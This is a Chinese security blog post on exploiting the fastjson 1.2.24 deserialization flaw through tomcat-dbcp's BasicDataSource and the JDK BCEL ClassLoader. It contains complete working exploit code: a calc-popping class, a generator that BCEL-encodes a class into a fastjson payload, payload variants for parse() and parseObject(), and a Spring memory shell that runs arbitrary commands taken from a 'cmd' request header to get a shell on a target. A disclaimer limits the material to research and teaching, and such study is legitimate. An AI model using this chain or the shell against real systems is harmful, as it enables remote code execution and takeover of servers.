fastjson1.2.24+BCEL反序列化利用

admin 2025年6月7日13:51:17评论0 views字数 4431阅读14分46秒阅读模式

最近太忙了终于有空继续沉淀fastjson漏洞利用了,Pwn也好久没学了QAQ~

前面介绍了fastjson1.2.24无第三方依赖的TemplatesImpl、JdbcRowSetImpl链

如果增加了tomcat-dbcp依赖的话,又可以增加一种利用手段,即BasicDataSource链

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>

在dbcp库中,tomcat7有一个类org.apache.tomcat.dbcp.dbcp.BasicDataSource,tomcat8有一个类org.apache.tomcat.dbcp.dbcp2.BasicDataSource

fastjson1.2.24+BCEL反序列化利用

在反序列化的时候会先调用其中的getConnection()方法

继续跟进函数调用createDataSource()方法

fastjson1.2.24+BCEL反序列化利用

继续跟进createConnectionFactory()方法

fastjson1.2.24+BCEL反序列化利用

到这里看到我们可以控制driverClassNamedriverClassLoader变量的值,通过调用Class.forName()使用driverClassLoader去加载字节码

fastjson1.2.24+BCEL反序列化利用

然后进入了JDK自带的bcel链子里,在8u251以前的rt.jar!/com/sun/org/apache/bcel/internal/util/包中有classLoader类,可以加载字节码并且继承原生的ClassLoader类同时重写loadClass()方法,如果满足class_name.indexOf("$$BCEL$$") >= 0,那么就会调用createClass()这个方法。

fastjson1.2.24+BCEL反序列化利用

我们跟踪进createClass()方法看看,可以看到这里会对进来的数据进行bcel解码,成功拿到一个JavaClass对象,最终通过defineClass()加载字节码还原类实现rce。

弹计算器

新建一个恶意类CalcShellForBCEL

import java.io.IOException;  

publicclassCalcShellForBCEL{  
static {  
try {  
            Runtime.getRuntime().exec("calc");  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
}

编译成class之后直接bcel encode后拼上$$BCEL$$开头放到@type处令fastjson触发反序列化setter和getter

import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.parser.Feature;  
import com.sun.org.apache.bcel.internal.classfile.Utility;  

import java.io.IOException;  
import java.nio.file.Files;  
import java.nio.file.Path;  
import java.nio.file.Paths;  

publicclassFastjsonWithBCEL{  
publicstaticvoidmain(String[] args)throws IOException {  
        Path path = Paths.get("E:\code\Java\fastjson\src\main\resources\CalcShellForBCEL.class");  
byte[] bytes = Files.readAllBytes(path);  
        String code = Utility.encode(bytes,true);  
        String s = "{{"@type":"com.alibaba.fastjson.JSONObject",x:{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassName":"$$BCEL$$"+code+"","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}}:"x"}";  
        System.out.println(s);  
//        JSONObject jsonObject = JSON.parseObject(s, new Feature[]{Feature.SupportNonPublicField});  
        JSONObject jsonObject = JSON.parseObject(s);  
    }  
}

成功命令执行

fastjson1.2.24+BCEL反序列化利用

注意最后调用parseObjectparse的payload略有不同

parseObject由于多执行了JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有settergetter方法,可以用默认的格式写法

{
"@type""org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type""com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
"driverClassName""$$BCEL$$xxxxxxx"
}

但是如果最后调用的是parse,需要在外层再套一个{}

{
    {
"aaa": {
"@type""org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type""com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
"driverClassName""$$BCEL$$xxxxx"
        }
    }:"xxx"
}

打内存马

使用SpringEchoForBCEL,当然如果打不通可以换成TomcatEchoForBCEL

import java.lang.reflect.Method;  
import java.util.Scanner;  

publicclassSpringEchoForBCEL{  
static {  
try {  
            Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");  
            Method v1 = v0.getMethod("getRequestAttributes");  
            Object v2 = v1.invoke(null);  
            v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");  
            v1 = v0.getMethod("getResponse");  
            Method v3 = v0.getMethod("getRequest");  
            Object v4 = v1.invoke(v2);  
            Object v5 = v3.invoke(v2);  
            Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");  
            Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);  
            v7.setAccessible(true);  
            v6.setAccessible(true);  
            Object v8 = v6.invoke(v4);  
            String v9 = (String) v7.invoke(v5,"cmd");  
            String[] v10 = new String[3];  
if (System.getProperty("os.name").toUpperCase().contains("WIN")){  
                v10[0] = "cmd";  
                v10[1] = "/c";  
            }else {  
                v10[0] = "/bin/sh";  
                v10[1] = "-c";  
            }  
            v10[2] = v9;  
            v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(newScanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\A").next());  
            v8.getClass().getDeclaredMethod("flush").invoke(v8);  
            v8.getClass().getDeclaredMethod("clone").invoke(v8);  
        } catch (Exception var11) {  
            var11.getStackTrace();  
        }  
    }  
}

利用FastjsonWithBCEL生成payload直接构造数据包发送给靶标

fastjson1.2.24+BCEL反序列化利用

成功getshell

fastjson1.2.24+BCEL反序列化利用

注意由于靶机最后fastjson调用的是parse()方法,所以注意需要如上图在外面加一个{}

原文始发于微信公众号(智佳网络安全):fastjson1.2.24+BCEL反序列化利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日13:51:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson1.2.24+BCEL反序列化利用https://cn-sec.com/archives/3784251.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息